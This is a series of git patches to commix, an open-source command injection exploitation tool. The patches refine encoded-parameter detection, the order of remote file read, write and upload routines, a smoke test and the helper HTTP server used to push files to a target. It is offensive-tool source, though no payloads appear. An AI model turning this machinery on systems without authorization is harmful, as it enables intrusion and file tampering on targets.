a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -372,6 +372,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time debug_msg = "Skipping heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) else: + decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: + warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." + print(settings.print_warning_msg(warn_msg)) + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d031a0e1ba..cdfac48053 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -172,6 +172,8 @@ def vuln_GET_param(url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if settings.BASE64_PADDING in pairs[param]: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break else: @@ -373,6 +375,8 @@ def vuln_POST_param(parameter, url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if settings.BASE64_PADDING in pairs[param]: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break if 'vuln_parameter' not in locals(): diff --git a/src/utils/settings.py b/src/utils/settings.py index bf4d87735a..5cf500bd15 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "46" +REVISION = "47" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1058,7 +1058,7 @@ def sys_argv_errors(): GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/" # Default path for settings.py file SETTINGS_PATH = os.path.abspath("src/utils/settings.py") @@ -1097,4 +1097,6 @@ def sys_argv_errors(): # Identified Redirect code REDIRECT_CODE = "" + +BASE64_PADDING = "==" # eof \ No newline at end of file From 635240bf9b7199d8d9b9bb4e462dc72e140d7036 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 Apr 2022 09:38:18 +0300 Subject: [PATCH 0124/1023] Minor bug-fix regarding `--file-upload` option. --- doc/CHANGELOG.md | 1 + src/utils/settings.py | 2 +- src/utils/simple_http_server.py | 11 ++++++----- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3f693d5d54..d7fca13ba6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Minor bug-fix regarding `--file-upload` option. * Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. diff --git a/src/utils/settings.py b/src/utils/settings.py index 5cf500bd15..bd646e854e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 4306f5145b..c4b231ee99 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -89,12 +89,13 @@ def do_GET(self): f = open(self.path) self.send_response(200) self.end_headers() - self.wfile.write(f.read()) - f.close() + self.wfile.write(f.read().encode()) + return + + except Exception: + error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)" + self.wfile.write(error_response.encode()) - except IOError: - self.wfile.write(settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)") - def log_message(self, format, *args): return From ed9a61bf8f97dd4b27d3b9964687611a599cb392 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 1 May 2022 09:16:36 +0300 Subject: [PATCH 0125/1023] Fixes https://github.com/commixproject/commix/issues/761 https://github.com/commixproject/commix/issues/762 https://github.com/commixproject/commix/issues/763 & multiple other fixes / updates --- src/core/convert.py | 21 ++++++- src/core/enums.py | 58 ++++++++++++++++++ .../techniques/time_based/tb_enumeration.py | 2 +- .../techniques/time_based/tb_file_access.py | 31 ++++------ src/core/injections/controller/checks.py | 59 +++++++++++-------- .../techniques/classic/cb_file_access.py | 26 ++++---- .../techniques/eval_based/eb_file_access.py | 16 ++--- .../techniques/file_based/fb_file_access.py | 19 +++--- .../tempfile_based/tfb_enumeration.py | 2 +- .../tempfile_based/tfb_file_access.py | 26 ++++---- .../techniques/tempfile_based/tfb_injector.py | 6 +- src/core/requests/headers.py | 18 +++--- src/core/tamper/hexencode.py | 5 +- src/utils/settings.py | 37 ++++++++++-- src/utils/simple_http_server.py | 6 +- 15 files changed, 212 insertions(+), 120 deletions(-) create mode 100644 src/core/enums.py diff --git a/src/core/convert.py b/src/core/convert.py index 4a14cf9f99..fad3bae9d9 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -14,19 +14,33 @@ """ import codecs +import binascii from src.utils import settings from src.thirdparty import six +""" +Decode string for hex +""" def hexdecode(value): if value.lower().startswith("0x"): value = value[2:] try: value = codecs.decode(''.join(value.split()), "hex") + except binascii.Error: + _ = False + return value, _ except LookupError: value = binascii.unhexlify(value) - value = value.decode(settings.DEFAULT_CODEC) - return value + try: + value = value.decode(settings.DEFAULT_CODEC) + _ = True + except: + _ = False + return value, _ +""" +Encode string to hex +""" def hexencode(value): if isinstance(value, six.text_type): value = value.encode(settings.DEFAULT_CODEC) @@ -35,5 +49,6 @@ def hexencode(value): except LookupError: value = binascii.hexlify(value) value = value.decode(settings.DEFAULT_CODEC) - return value + _ = True + return value, _ diff --git a/src/core/enums.py b/src/core/enums.py new file mode 100644 index 0000000000..30f2b608f7 --- /dev/null +++ b/src/core/enums.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import settings + +""" +Runs the basic smoke testing +""" +def smoke_test(): + info_msg = "Executing smoke test." + print(settings.print_info_msg(info_msg)) + + _ = True + file_paths = [] + for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) + + for filename in file_paths: + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) + path = path.replace(settings.COMMIX_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + if "." in path: + try: + __import__(path) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Succeeded importing '" + str(path) + "' module." + print(settings.print_debug_msg(debug_msg)) + except Exception as ex: + error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." + print(settings.print_error_msg(error_msg)) + _ = False + + result = "Smoke test " + if _: + result = result + "passed." + print(settings.print_bold_info_msg(result)) + else: + result = result + "failed." + print(settings.print_bold_error_msg(result)) + raise SystemExit() + + diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 5aa19f1969..9b58f69a2b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -21,7 +21,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_injector diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 2a4844396c..0904864d9f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -16,12 +16,10 @@ import re import os import sys - - from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_injector @@ -78,7 +76,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." @@ -154,20 +151,21 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) + # else: + # sys.stdout.flush() if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False if settings.TARGET_OS == "win": # Not yet implemented pass @@ -194,7 +192,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -215,15 +213,13 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) if shell: - sys.stdout.flush() info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -231,6 +227,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if menu.options.file_upload: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: @@ -240,10 +241,4 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4a2482b96d..716c1bddab 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -110,7 +110,7 @@ def connection_exceptions(err_msg): """ def not_declared_cookies(response): try: - candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) + candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) if candidate and settings.DECLARED_COOKIES is not False: settings.DECLARED_COOKIES = True if settings.CRAWLED_SKIPPED_URLS != 0: @@ -1237,37 +1237,46 @@ def recognise_payload(payload): encoded_with = "" check_value = payload - if not re.match(settings.HEX_RECOGNITION_REGEX, check_value): - if re.match(settings.BASE64_RECOGNITION_REGEX, check_value + settings.BASE64_PADDING ) and not settings.BASE64_PADDING in check_value: - check_value = payload + settings.BASE64_PADDING - if (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ not re.match(settings.HEX_RECOGNITION_REGEX, check_value): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(check_value) - encoded_with = "base64" - if re.match(settings.HEX_RECOGNITION_REGEX, check_value): - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(decoded_payload) - encoded_with = "hex" - + _payload = base64.b64decode(check_value) + try: + if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + settings.MULTI_ENCODED_PAYLOAD.append("base64encode") + decoded_payload = _payload + encoded_with = "base64" + if re.match(settings.HEX_RECOGNITION_REGEX, check_value): + decoded_payload, _ = hexdecode(decoded_payload) + if _: + settings.MULTI_ENCODED_PAYLOAD.append("hexencode") + encoded_with = "hex" + except Exception: + pass + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): - is_decoded = True - settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(check_value) - encoded_with = "hex" - if (len(check_value.strip()) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): - settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(decoded_payload) - encoded_with = "base64" + decoded_payload, _ = hexdecode(check_value) + if _: + settings.MULTI_ENCODED_PAYLOAD.append("hexencode") + encoded_with = "hex" + if (len(check_value.strip()) % 4 == 0) and \ + re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ + not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): + _payload = base64.b64decode(check_value) + try: + if not "\\x" in _payload.decode(settings.DEFAULT_CODEC): + settings.MULTI_ENCODED_PAYLOAD.append("base64encode") + decoded_payload = _payload + encoded_with = "base64" + except Exception: + pass else: decoded_payload = payload + if len(encoded_with) != 0: + is_decoded = True + for encode_type in settings.MULTI_ENCODED_PAYLOAD: # Encode payload to base64 format. if encode_type == 'base64encode': @@ -1637,7 +1646,7 @@ def file_upload(): http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) info_msg = "Setting the HTTP server on '" + http_server + "/'. " print(settings.print_info_msg(info_msg)) - menu.options.file_upload = http_server + "/" + menu.options.file_upload + menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 2e9ecaa27c..886590388d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -16,15 +16,12 @@ import re import os import sys -from src.thirdparty.six.moves import urllib as _urllib - - from src.utils import menu from src.utils import settings from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init - from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.results_based.techniques.classic import cb_injector """ @@ -156,13 +153,13 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - #if settings.VERBOSITY_LEVEL != 0: + # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -196,7 +193,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -216,13 +213,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -230,10 +227,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True @@ -242,4 +235,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True + if menu.options.file_write: + file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index e9e92fefc2..cd91cc4534 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -15,16 +15,12 @@ import re import os import sys -from src.thirdparty.six.moves import urllib as _urllib - - from src.utils import menu from src.utils import settings from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init - from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.results_based.techniques.eval_based import eb_injector """ @@ -151,7 +147,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -185,7 +181,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -203,8 +199,8 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index a57d588e7e..82385e21b4 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -16,13 +16,10 @@ import re import os import sys -from src.thirdparty.six.moves import urllib as _urllib - - from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -53,8 +50,8 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "Fetched content of the file '" info_msg += file_to_read + "'." @@ -146,7 +143,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -180,7 +177,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -198,13 +195,13 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 031574444a..5baeeb5671 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -20,7 +20,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index c611c9356c..9dedbf135b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -16,12 +16,10 @@ import re import os import sys - - from src.utils import menu from src.utils import settings from src.utils import session_handler - +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -81,7 +79,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = True file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." @@ -157,21 +154,20 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False if settings.TARGET_OS == "win": # Not yet implemented pass @@ -198,7 +194,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec else: dest_to_upload = menu.options.file_dest - info_msg = "Trying to upload the file '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) @@ -219,14 +215,13 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec shell = "".join(str(p) for p in shell) except TypeError: pass - if settings.VERBOSITY_LEVEL == 0 and _: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -234,11 +229,6 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - if menu.options.file_write: file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: @@ -249,4 +239,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 741f1a97cc..39454a076a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -188,7 +188,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, minlen = 1 found_chars = False - info_msg = "Retrieving the length of execution output. " + info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: @@ -276,7 +276,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_start = time.time() output = [] percent = "0.0%" - info_msg = "Grabbing the execution output (via '" + 